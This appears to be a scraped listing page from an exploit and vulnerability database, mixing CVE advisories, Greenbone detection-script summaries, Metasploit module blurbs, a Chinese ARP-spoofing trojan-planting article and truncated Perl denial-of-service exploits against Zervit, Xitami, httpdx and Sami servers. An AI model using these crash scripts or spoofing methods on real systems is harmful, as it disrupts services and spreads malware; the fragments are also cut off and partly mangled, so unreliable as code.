IBM WebSphere应用服务器default_create.log信息泄露漏洞

BUGTRAQ ID: 40694 CVE ID: CVE-2010-2323 IBM Websphere应用服务器以Java和Servlet引擎为基础，支持多种HTTP服务，可帮助用户完成从开发、发布到维护交互式的动态网站的所有工作。 在目标系统上使用zPMT和BBOWWPFx任务模板创建配置文件的时候，可能会向defaultcreate.log日志中写入敏感信息。 IBM Websphere Application Server 7.0.x 厂商补丁： IBM --- 目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：...

Tembria Server Monitor Version Detection

This script finds the Tembria Server Monitor version. SPDX-FileCopyrightText: 2010 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription...

Limny Version Detection

Detection of Limny. The script sends a connection request to the server and attempts to extract the version number from the reply. SPDX-FileCopyrightText: 2010 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders...

httpdx 1.53b Denial Of Service

!/usr/bin/perl Exploit Title: httpdx1.53b sockets++ crash Remote Denial of Service exploit Date: 22.02.2010 Author: d3b4g Software Link: http://httpdx.sourceforge.net/downloads/ Version: 1.53b Tested on: windows xpsp3 vmware webpage:www.d3b4g.info I'm from tiny little island's of maldivies The...

httpdx1.53b (sockets++ crash) Remote Denial of Service Exploit

Exploit for unknown platform in category dos / poc ============================================================== httpdx1.53b sockets++ crash Remote Denial of Service Exploit ============================================================== !/usr/bin/perl Exploit Title: httpdx1.53b sockets++ crash...

YABSoft Advanced Image Hosting Script (AIHS) Version Detection

This script finds the version of running Advanced Image Hosting Script AIHS. SPDX-FileCopyrightText: 2009 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription...

Flashlight Version Detection

This script finds the running Flashlight version. SPDX-FileCopyrightText: 2009 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription...

Wyse Rapport Hagent Fake Hserver Command Execution

$Id: hagentuntrustedhsdata.rb This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit Framework web site for more information on licensing and terms of use. http://metasploit.com/projects/Framework/ require 'timeout...

httpdx Server Version Detection

Detection of httpdx Server. The script sends a connection request to the server and attempts to extract the version number from the reply. SPDX-FileCopyrightText: 2009 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right...

Wyse Rapport Hagent Fake Hserver Command Execution

This module exploits the Wyse Rapport Hagent service by pretending to be a legitimate server. This process involves starting both HTTP and FTP services on the attacker side, then contacting the Hagent service of the target and indicating that an update is available. The target will then download...

The LAN ARP spoofing hung it to the way of detailed explanation-vulnerability warning-the black bar safety net

Web page hang Horsethe most difficult is to spread a small website, easy to invade but the access number is not much, harvest the broiler also is not very much. Therefore, a new hang horse way began to pop--LANARP spoofinghung it, as long as the local area network within a machine caught, it can...

Wyse Rapport Hagent Fake Hserver - Command Execution (Metasploit)

Wyse Rapport Hagent Fake Hserver - Command Execution Metasploit $Id: hagentuntrustedhsdata.rb 10998 2010-11-11 22:43:22Z jduck $ This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit Framework web site for more...

Microsoft IIS 5.0 WebDAV绕过认证漏洞(MS09-020)

BUGTRAQ ID: 35232 CVECAN ID: CVE-2009-1122 Microsoft Internet信息服务（IIS）是Microsoft Windows自带的一个网络信息服务器，其中包含HTTP服务功能。 IIS的WebDAV扩展没有正确解码特制请求的URL，导致WebDAV在处理该请求时应用不正确的配置。如果应用的配置允许匿名访问，则特制的请求可以绕过身份验证。 请注意IIS在配置的匿名用户帐户的安全上下文中仍会处理该请求，因此此漏洞不能用于绕过NTFS ACL，文件系统ACL对匿名用户帐户强加的限制将仍然执行。 Microsoft IIS 5.0 临时解决方法...

Nagios / Nagios Core Detection (HTTP)

HTTP based detection of Nagios / Nagios Core. SPDX-FileCopyrightText: 2009 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription...

Zervit 0.3 Remote Denial Of Service

!/usr/bin/perl Zervit HTTP Server \n"; print "- Exemple: file.pl 127.0.0.1 80\n"; exit; $ip = $ARGV0; $port = $ARGV1; print "+ Sending request...\n"; for$i=0;$i=4;$i++ $socket = IO::Socket::INET-new Proto = "tcp", PeerAddr = "$ip", PeerPort = "$port" || die "-Done!\n"; print $socket "GET \x11...

Zervit Web Server 0.3 - sockets++ crash Remote Denial of Service

Zervit Web Server 0.3 - sockets++ crash Remote Denial of Service !/usr/bin/perl Zervit HTTP Server \n"; print "- Exemple: file.pl 127.0.0.1 80\n"; exit; $ip = $ARGV0; $port = $ARGV1; print "+ Sending request...\n"; for$i=0;$i=4;$i++ $socket = IO::Socket::INET-new Proto = "tcp", PeerAddr = "$ip",...

Xitami Web Server 5.0 - Remote Denial of Service

Xitami Web Server 5.0 - Remote Denial of Service !/usr/bin/perl Xitami HTTP Server \n"; print "- Exemple: file.pl 127.0.0.1 80\n"; exit; $ip = $ARGV0; $port = $ARGV1; print "+ Sending request...\n"; for$i=0;$inew Proto = "tcp", PeerAddr = "$ip", PeerPort = "$port" || die "- Failed\n"; print $sock...

Zervit Web Server 0.3 - sockets++ crash Remote Denial of Service

!/usr/bin/perl Zervit HTTP Server \n"; print "- Exemple: file.pl 127.0.0.1 80\n"; exit; $ip = $ARGV0; $port = $ARGV1; print "+ Sending request...\n"; for$i=0;$i=4;$i++ $socket = IO::Socket::INET-new Proto = "tcp", PeerAddr = "$ip", PeerPort = "$port" || die "-Done!\n"; print $socket "GET \x11...

Xitami Web Server 5.0 - Remote Denial of Service

!/usr/bin/perl Xitami HTTP Server \n"; print "- Exemple: file.pl 127.0.0.1 80\n"; exit; $ip = $ARGV0; $port = $ARGV1; print "+ Sending request...\n"; for$i=0;$inew Proto = "tcp", PeerAddr = "$ip", PeerPort = "$port" || die "- Failed\n"; print $socket "HEAD /% HTTP/1.0\r\n\r\n"; print "+ Done!\n";...

Sami HTTP Server 2.x - HEAD Remote Denial of Service

Sami HTTP Server 2.x - HEAD Remote Denial of Service !/usr/bin/perl Sami HTTP Server v2.x Remote Denial of Service with HEAD request. -------------------------------------------------------------------- The vulnerability is caused due to an error in handling the HEAD command. This can be exploite...